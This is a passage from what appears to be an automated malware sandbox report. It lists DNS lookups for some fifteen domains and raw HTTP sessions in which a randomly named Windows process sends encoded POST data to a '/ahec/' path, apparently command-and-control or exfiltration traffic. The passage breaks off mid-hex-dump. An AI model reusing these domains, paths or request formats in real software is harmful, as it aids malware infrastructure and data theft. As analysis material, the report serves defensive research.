Dec 8, 2023 14:53:17.388792992 CET	50201	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:53:18.187762976 CET	53	50201	1.1.1.1	192.168.2.4
Dec 8, 2023 14:53:18.187824011 CET	53	50201	1.1.1.1	192.168.2.4
Dec 8, 2023 14:53:31.623687983 CET	55263	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:53:32.080784082 CET	53	55263	1.1.1.1	192.168.2.4
Dec 8, 2023 14:53:46.342107058 CET	54249	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:53:47.089373112 CET	53	54249	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2023 14:50:18.623605013 CET	192.168.2.4	1.1.1.1	0xf42c	Standard query (0)	www.alldaysslimmingstea.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:50:34.471115112 CET	192.168.2.4	1.1.1.1	0x2f57	Standard query (0)	www.user4deepriver.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:50:48.077996969 CET	192.168.2.4	1.1.1.1	0x4ff6	Standard query (0)	www.poria.link	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:01.703404903 CET	192.168.2.4	1.1.1.1	0x61d6	Standard query (0)	www.makeinai.online	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:17.687038898 CET	192.168.2.4	1.1.1.1	0x3336	Standard query (0)	www.instantconvey.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:32.436403036 CET	192.168.2.4	1.1.1.1	0x45ea	Standard query (0)	www.domainappraisalbot.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:47.453363895 CET	192.168.2.4	1.1.1.1	0xab8a	Standard query (0)	www.nesmalt.info	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:02.311144114 CET	192.168.2.4	1.1.1.1	0xfe36	Standard query (0)	www.611erhm.top	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:03.311804056 CET	192.168.2.4	1.1.1.1	0xfe36	Standard query (0)	www.611erhm.top	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:16.967672110 CET	192.168.2.4	1.1.1.1	0x33ce	Standard query (0)	www.fam-scharf.net	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:31.217304945 CET	192.168.2.4	1.1.1.1	0x17c2	Standard query (0)	www.magmadokum.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:45.904962063 CET	192.168.2.4	1.1.1.1	0xce3b	Standard query (0)	www.thecoloringbitch.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:00.560827971 CET	192.168.2.4	1.1.1.1	0xcadc	Standard query (0)	www.altralogos.com	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:16.389132023 CET	192.168.2.4	1.1.1.1	0x6bd5	Standard query (0)	www.77moea.top	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:17.388792992 CET	192.168.2.4	1.1.1.1	0x6bd5	Standard query (0)	www.77moea.top	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:31.623687983 CET	192.168.2.4	1.1.1.1	0xc75d	Standard query (0)	www.wrautomotive.online	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:46.342107058 CET	192.168.2.4	1.1.1.1	0x7db7	Standard query (0)	www.npstore.asia	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2023 14:50:18.930447102 CET	1.1.1.1	192.168.2.4	0xf42c	No error (0)	www.alldaysslimmingstea.com	alldaysslimmingstea.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:50:18.930447102 CET	1.1.1.1	192.168.2.4	0xf42c	No error (0)	alldaysslimmingstea.com		162.222.226.77	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:50:34.662729979 CET	1.1.1.1	192.168.2.4	0x2f57	No error (0)	www.user4deepriver.com		74.208.236.181	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:50:48.312882900 CET	1.1.1.1	192.168.2.4	0x4ff6	No error (0)	www.poria.link		104.21.18.253	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:50:48.312882900 CET	1.1.1.1	192.168.2.4	0x4ff6	No error (0)	www.poria.link		172.67.184.73	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:02.287717104 CET	1.1.1.1	192.168.2.4	0x61d6	No error (0)	www.makeinai.online		37.140.192.89	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:18.140363932 CET	1.1.1.1	192.168.2.4	0x3336	No error (0)	www.instantconvey.com	instantconvey.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:51:18.140363932 CET	1.1.1.1	192.168.2.4	0x3336	No error (0)	instantconvey.com		131.153.147.90	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:32.805896044 CET	1.1.1.1	192.168.2.4	0x45ea	No error (0)	www.domainappraisalbot.com		94.23.162.163	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:51:47.707806110 CET	1.1.1.1	192.168.2.4	0xab8a	No error (0)	www.nesmalt.info		66.29.155.54	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:03.533700943 CET	1.1.1.1	192.168.2.4	0xfe36	No error (0)	www.611erhm.top		34.117.26.57	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:03.533700943 CET	1.1.1.1	192.168.2.4	0xfe36	No error (0)	www.611erhm.top		34.149.198.43	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:03.533730030 CET	1.1.1.1	192.168.2.4	0xfe36	No error (0)	www.611erhm.top		34.117.26.57	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:03.533730030 CET	1.1.1.1	192.168.2.4	0xfe36	No error (0)	www.611erhm.top		34.149.198.43	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:17.352397919 CET	1.1.1.1	192.168.2.4	0x33ce	No error (0)	www.fam-scharf.net	fam-scharf.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:52:17.352397919 CET	1.1.1.1	192.168.2.4	0x33ce	No error (0)	fam-scharf.net		81.169.145.70	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:31.938296080 CET	1.1.1.1	192.168.2.4	0x17c2	No error (0)	www.magmadokum.com	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:52:31.938296080 CET	1.1.1.1	192.168.2.4	0x17c2	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:52:31.938296080 CET	1.1.1.1	192.168.2.4	0x17c2	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:52:46.217083931 CET	1.1.1.1	192.168.2.4	0xce3b	No error (0)	www.thecoloringbitch.com	thecoloringbitch.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:52:46.217083931 CET	1.1.1.1	192.168.2.4	0xce3b	No error (0)	thecoloringbitch.com		162.241.252.161	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:01.268340111 CET	1.1.1.1	192.168.2.4	0xcadc	No error (0)	www.altralogos.com	altralogos.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:53:01.268340111 CET	1.1.1.1	192.168.2.4	0xcadc	No error (0)	altralogos.com		185.74.252.11	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:18.187762976 CET	1.1.1.1	192.168.2.4	0x6bd5	No error (0)	www.77moea.top		107.178.250.177	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:18.187762976 CET	1.1.1.1	192.168.2.4	0x6bd5	No error (0)	www.77moea.top		34.120.55.112	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:18.187824011 CET	1.1.1.1	192.168.2.4	0x6bd5	No error (0)	www.77moea.top		107.178.250.177	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:18.187824011 CET	1.1.1.1	192.168.2.4	0x6bd5	No error (0)	www.77moea.top		34.120.55.112	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:32.080784082 CET	1.1.1.1	192.168.2.4	0xc75d	No error (0)	www.wrautomotive.online	wrautomotive.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:53:32.080784082 CET	1.1.1.1	192.168.2.4	0xc75d	No error (0)	wrautomotive.online		37.97.254.27	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:47.089373112 CET	1.1.1.1	192.168.2.4	0x7db7	No error (0)	www.npstore.asia	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2023 14:53:47.089373112 CET	1.1.1.1	192.168.2.4	0x7db7	No error (0)	dns.ladipage.com		52.220.48.161	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:47.089373112 CET	1.1.1.1	192.168.2.4	0x7db7	No error (0)	dns.ladipage.com		13.213.230.75	A (IP address)	IN (0x0001)	false
Dec 8, 2023 14:53:47.089373112 CET	1.1.1.1	192.168.2.4	0x7db7	No error (0)	dns.ladipage.com		52.77.138.116	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.alldaysslimmingstea.com

www.user4deepriver.com

www.poria.link

www.makeinai.online

www.instantconvey.com

www.domainappraisalbot.com

www.nesmalt.info

www.611erhm.top

www.fam-scharf.net

www.magmadokum.com

www.thecoloringbitch.com

www.altralogos.com

www.77moea.top

www.wrautomotive.online

www.npstore.asia

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	162.222.226.77	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:19.134288073 CET	480	OUT	GET /ahec/?XveXHZvx=0lWeLq0ljZnDSWqNACJ6NPdmpHmas/FJSpt/SUCn4seLkPj1kpVBncTOO8qbY1skp8kxUg4twvHodh//BlyVl134IW6OhHwJLQ==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.alldaysslimmingstea.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:50:19.337153912 CET	844	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:50:19 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 21:16:32 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	74.208.236.181	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:34.831656933 CET	759	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.user4deepriver.com Origin: http://www.user4deepriver.com Referer: http://www.user4deepriver.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 77 6d 65 50 2b 49 44 38 61 47 58 35 78 6e 56 35 62 44 41 66 37 78 49 7a 4f 75 45 69 33 76 68 55 44 54 68 4f 64 73 2b 45 43 52 39 30 69 48 6e 4d 4a 37 56 53 61 50 61 74 71 4b 54 34 55 54 6e 36 35 71 2f 6d 67 71 6e 69 69 63 78 37 50 73 76 74 44 45 5a 65 54 44 51 7a 74 52 35 57 54 6d 6f 4b 61 6d 67 6e 52 66 53 7a 54 34 64 53 33 77 33 64 39 4f 42 67 43 51 35 57 6b 77 75 73 51 79 43 74 31 64 70 6e 63 65 52 4a 73 55 36 43 6e 68 59 78 61 57 44 34 75 45 70 63 72 6f 39 47 64 66 49 79 74 6e 69 39 75 43 55 44 70 48 30 6e 48 43 78 44 43 77 3d 3d Data Ascii: XveXHZvx=wmeP+ID8aGX5xnV5bDAf7xIzOuEi3vhUDThOds+ECR90iHnMJ7VSaPatqKT4UTn65q/mgqniicx7PsvtDEZeTDQztR5WTmoKamgnRfSzT4dS3w3d9OBgCQ5WkwusQyCt1dpnceRJsU6CnhYxaWD4uEpcro9GdfIytni9uCUDpH0nHCxDCw==
Dec 8, 2023 14:50:35.005354881 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 08 Dec 2023 13:50:34 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	74.208.236.181	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:37.526036978 CET	779	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.user4deepriver.com Origin: http://www.user4deepriver.com Referer: http://www.user4deepriver.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 77 6d 65 50 2b 49 44 38 61 47 58 35 77 48 6c 35 5a 67 6f 66 35 52 49 77 43 4f 45 69 39 50 68 51 44 54 74 4f 64 74 4c 4a 43 6e 6c 30 69 6d 58 4d 49 36 56 53 5a 50 61 74 69 71 54 68 62 7a 6e 7a 35 71 7a 55 67 6f 44 69 69 64 56 37 50 70 44 74 57 6c 5a 42 53 54 51 31 72 52 35 48 58 6d 6f 4b 61 6d 67 6e 52 66 58 6d 54 34 46 53 33 68 48 64 38 76 42 6a 50 77 35 52 6a 77 75 73 48 69 43 70 31 64 6f 79 63 63 6c 6a 73 53 2b 43 6e 68 49 78 61 44 6a 37 68 45 6f 5a 30 34 38 61 63 74 4a 4a 74 45 62 6a 69 77 55 54 75 52 5a 4e 43 58 64 51 46 4b 54 4b 58 64 6e 79 6d 4d 43 6b 4d 79 6a 2b 31 76 59 59 53 62 77 3d Data Ascii: XveXHZvx=wmeP+ID8aGX5wHl5Zgof5RIwCOEi9PhQDTtOdtLJCnl0imXMI6VSZPatiqThbznz5qzUgoDiidV7PpDtWlZBSTQ1rR5HXmoKamgnRfXmT4FS3hHd8vBjPw5RjwusHiCp1doyccljsS+CnhIxaDj7hEoZ048actJJtEbjiwUTuRZNCXdQFKTKXdnymMCkMyj+1vYYSbw=
Dec 8, 2023 14:50:37.699758053 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 08 Dec 2023 13:50:37 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	74.208.236.181	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:40.213336945 CET	10861	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.user4deepriver.com Origin: http://www.user4deepriver.com Referer: http://www.user4deepriver.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 77 6d 65 50 2b 49 44 38 61 47 58 35 77 48 6c 35 5a 67 6f 66 35 52 49 77 43 4f 45 69 39 50 68 51 44 54 74 4f 64 74 4c 4a 43 6e 74 30 6c 51 6a 4d 49 5a 39 53 59 50 61 74 6f 4b 54 6b 62 7a 6d 7a 35 71 36 66 67 6f 50 74 69 66 64 37 50 4c 4c 74 53 68 74 42 62 54 51 31 6d 78 35 58 54 6d 6f 6c 61 6d 78 76 52 65 6e 6d 54 34 46 53 33 69 66 64 36 2b 42 6a 4e 77 35 57 6b 77 75 34 51 79 43 52 31 64 42 46 63 63 78 5a 73 69 65 43 67 41 34 78 57 58 44 37 6f 45 6f 58 33 34 38 53 63 74 46 57 74 45 33 6e 69 30 63 31 75 54 46 4e 42 7a 77 5a 51 4a 76 74 47 66 6e 76 77 74 53 4a 4d 31 4b 71 69 76 6f 73 48 73 45 31 44 45 65 2b 6e 77 75 73 71 53 44 5a 38 6d 67 6b 44 56 35 48 78 50 72 67 6d 6a 36 2f 56 46 63 55 49 6e 55 49 72 6a 69 2f 6d 66 58 2f 72 2f 6b 6e 4a 4f 62 47 48 39 72 77 4c 34 4e 64 50 66 6b 6a 64 36 51 43 6a 4a 4e 49 59 33 77 30 72 39 75 68 6e 6a 6f 65 50 4d 36 45 77 75 6d 74 77 70 57 50 2f 75 57 2b 68 75 78 6c 73 44 46 67 61 31 61 6f 4d 77 39 71 30 35 78 79 49 66 47 31 2f 4c 79 53 30 57 76 2f 64 62 35 67 59 34 32 67 59 67 54 78 4b 4f 71 65 6d 6d 69 55 31 51 36 52 36 42 51 54 52 58 6c 70 61 77 55 50 42 43 45 5a 30 44 6e 38 6f 30 6f 34 78 5a 43 6f 36 79 55 56 4c 31 47 62 4d 48 4e 74 5a 71 67 7a 71 6a 2b 57 41 5a 41 7a 75 6d 64 64 6d 47 6c 4d 47 77 72 50 5a 53 55 56 79 43 2b 59 53 42 42 48 71 44 42 56 50 70 6f 2f 61 2f 54 42 48 65 2b 4d 70 62 4a 67 46 69 4f 75 62 54 61 2b 57 75 65 2f 44 4e 78 52 59 31 4e 61 53 33 79 73 79 54 66 67 46 44 48 4a 51 4c 53 77 77 5a 46 58 37 7a 31 2f 7a 7a 68 42 41 71 6a 79 4c 52 39 59 39 71 72 71 5a 42 74 38 79 48 4a 58 6a 2b 33 79 52 69 35 31 74 57 65 72 4b 49 76 43 36 62 55 77 74 53 76 56 78 53 32 67 59 35 4d 34 67 38 38 79 77 39 45 6f 42 51 59 49 78 77 51 62 61 4d 41 4f 4d 4b 64 4b 6a 30 58 68 57 37 5a 66 62 53 42 52 35 62 47 72 39 46 6a 2f 68 7a 41 34 6f 47 63 75 69 4a 6b 75 53 48 6f 6f 64 64 64 48 4b 59 58 44 2b 37 64 6e 42 67 45 78 45 44 49 65 4e 32 45 2f 79 51 57 49 69 52 49 51 35 30 48 73 4e 52 30 31 32 34 4e 45 6e 4e 4d 6a 48 58 76 76 4f 74 6c 36 54 34 36 30 33 4d 70 37 54 49 53 51 69 2b 4b 7a 4e 31 56 61 71 31 31 6b 57 6f 66 67 43 6f 58 65 62 64 35 79 51 52 6e 58 4e 73 36 6d 4c 54 32 65 50 6b 61 2f 6b 52 63 56 4d 56 4f 39 48 78 35 55 55 42 53 6b 38 73 37 57 38 58 76 30 6c 56 64 4a 4e 61 50 6e 39 67 48 4b 70 48 44 76 71 50 34 50 44 75 39 6e 70 43 37 6e 6e 49 4a 2b 44 57 71 56 2f 77 7a 57 72 44 50 57 33 76 59 6e 38 31 56 6b 69 7a 52 71 4e 4a 43 56 49 57 73 51 7a 76 57 6f 71 78 44 72 4b 4c 37 52 62 65 6d 4d 53 66 4a 75 39 55 6a 45 57 70 39 43 76 39 34 73 6b 6d 47 63 4b 58 30 44 68 45 4b 6c 44 4f 35 54 51 61 33 44 77 53 41 30 4c 4b 47 65 4c 4a 65 72 52 68 7a 58 6c 44 50 5a 55 6c 7a 69 69 66 78 59 79 67 6a 31 2f 43 62 55 4c 6b 2b 56 30 33 64 37 35 6b 36 78 4b 50 61 58 45 64 35 4e 43 75 68 66 70 2f 64 50 4e 37 4e 47 44 61 59 64 7a 4a 6a 76 67 71 71 74 41 6c 78 6f 4d 75 74 33 6c 66 48 51 4f 62 32 78 50 69 6a 4d 53 76 2f 4a 50 54 36 35 6e 69 6c 78 4d 46 37 64 4d 6a 64 4f 62 54 2f 42 73 44 45 72 79 70 52 49 44 46 78 79 56 46 36 6f 57 6a 50 2b 37 6f 6f 72 33 6f 67 52 68 4b 48 6f 2f 64 55 44 7a 49 49 71 54 34 45 66 6f 55 41 75 75 6e 61 6b 55 65 51 33 38 65 30 64 4e 77 2b 4b 4e 56 4d 62 64 46 4b 31 69 2b 73 4e 61 38 6a 69 7a 52 6a 48 71 70 61 69 6c 59 76 6e 6b 4c 6b 42 57 4d 43 4c 73 44 39 78 42 7a 54 51 4d 38 52 57 72 69 77 6e 42 67 51 6a 6c 4d 50 6d 36 31 63 59 6c 72 46 4a 56 31 59 6c 67 71 66 55 55 4d 4e 32 